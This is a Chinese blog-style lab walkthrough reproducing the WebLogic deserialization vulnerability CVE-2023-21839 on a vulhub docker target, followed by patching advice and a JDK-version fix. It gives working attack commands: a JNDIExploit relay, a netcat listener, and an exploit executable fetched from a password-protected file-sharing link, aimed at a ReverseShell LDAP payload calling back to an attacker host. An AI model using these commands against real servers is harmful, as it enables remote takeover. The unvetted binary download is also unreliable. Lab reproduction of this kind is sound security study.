免责声明

本文仅用于参考和学习交流,对于使用本文所提供的信息所造成的任何直接或间接的后果和损失,使用者需自行承担责任。本文的作者对此不承担任何责任。请在使用本文内容时谨慎评估风险并做出独立判断。谢谢!

正文

1.环境搭建

docker-compose搭建,下载地址:

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839

运行命令:

docker-compose up -d

然后访问ip:7001/console就可以看到weblogic界面了

CVE-2023-21839 Weblogic反序列化漏洞复现及踩坑-LMLPHP

2.反弹shell

启动JNDI中转服务

java  -jar JNDIExploit-1.4-SNAPSHOT.jar  -i IP

再监听个端口

nc -lnvp PORT

利用工具进行攻击

文件文件大小:2.8 M|CVE-2023-21839 Weblogic反序列化漏洞复现及踩坑-LMLPHPhttps://wwkn.lanzn.com/i89FC1ktgo4f密码:gw0b

CVE-2023-21839.exe  -ip 靶机IP -port 7001 -ldap ldap://服务器IP:1389/Basic/ReverseShell/服务器IP/监听端口

CVE-2023-21839 Weblogic反序列化漏洞复现及踩坑-LMLPHP

CVE-2023-21839 Weblogic反序列化漏洞复现及踩坑-LMLPHP

3.修复方式

1.下载最新补丁,链接:https://support.oracle.com/rs?type=doc&id=2917213.2

2.限制T3协议访问

4.踩坑

CVE-2023-21839 Weblogic反序列化漏洞复现及踩坑-LMLPHP

JNDI服务这里报错了

"in thread "LDAPListener client connection reader for connection from  xxx to xxxxx:1389" java.lang.IllegalAccessError: superclass access check failed: class com.feihong.ldap.template.TomcatEchoTemplate (in unnamed module @0x26933859) cannot access class com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet (in module java.xml) because module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.runtime to unnamed module @0x26933859"

查了一下,是因为JDK版本的问题,这里附上常规解决方法,实际遇到得根据服务器的版本去下载JDK和修改环境变量

# 移除openjdk


apt-get remove openjdk*
apt autoremove

# 下载需要安装的java版本

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

# 安装


cp jdk-8u202-linux-x64.tar.gz /opt  #将压缩包移动至/opt文件夹
tar -xvzf jdk-8u202-linux-x64.tar.gz  #将压缩包解压至当前文件夹
cd jdk1.8.0_202  #进入解压好的文件夹
vi /etc/profile用vi编辑器打开profile文件

在文件尾部加入以下信息:


export JAVA_HOME=/opt/jdk1.8.0_202
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH

# 保存退出

source /etc/profile

# 维护符号链接

update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_202/bin/java 1

update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_202/bin/javac 1

update-alternatives --set java /opt/jdk1.8.0_202/bin/java

update-alternatives --set javac /opt/jdk1.8.0_202/bin/javac

# 查看结果


java -version
01-26 09:41